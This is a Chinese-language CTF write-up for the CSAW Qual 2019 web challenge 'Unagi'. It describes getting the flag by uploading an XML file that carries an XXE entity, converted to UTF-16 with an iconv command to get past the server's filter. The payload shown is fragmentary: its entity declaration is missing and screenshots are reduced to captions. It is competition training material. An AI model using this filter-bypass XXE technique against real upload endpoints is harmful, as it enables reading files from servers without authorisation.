[CSAWQual 2019]Web_Unagi

打开界面
[CSAWQual 2019]Web_Unagi_第1张图片
看看其他有什么内容:
[CSAWQual 2019]Web_Unagi_第2张图片
[CSAWQual 2019]Web_Unagi_第3张图片
[CSAWQual 2019]Web_Unagi_第4张图片
来看看格式事例:
[CSAWQual 2019]Web_Unagi_第5张图片
从信息提示我们可以知道要通过编写xml文件上传
即通过XXE编码转换成utf-16编码绕过

我们可以利用vim编辑xml文件(取名为2.xml)
构造payload如下:


]>

    
        bob
        passwd2
         Bob
        [email protected]  
        CSAW2019
        &xxe;
    

[CSAWQual 2019]Web_Unagi_第6张图片
转换命令:

iconv -f utf8 -t utf-16 2.xml>1.xml

转换后可以看见:
[CSAWQual 2019]Web_Unagi_第7张图片
将1.xml上传到upload即可拿到flag
[CSAWQual 2019]Web_Unagi_第8张图片

你可能感兴趣的:(BUUCTF)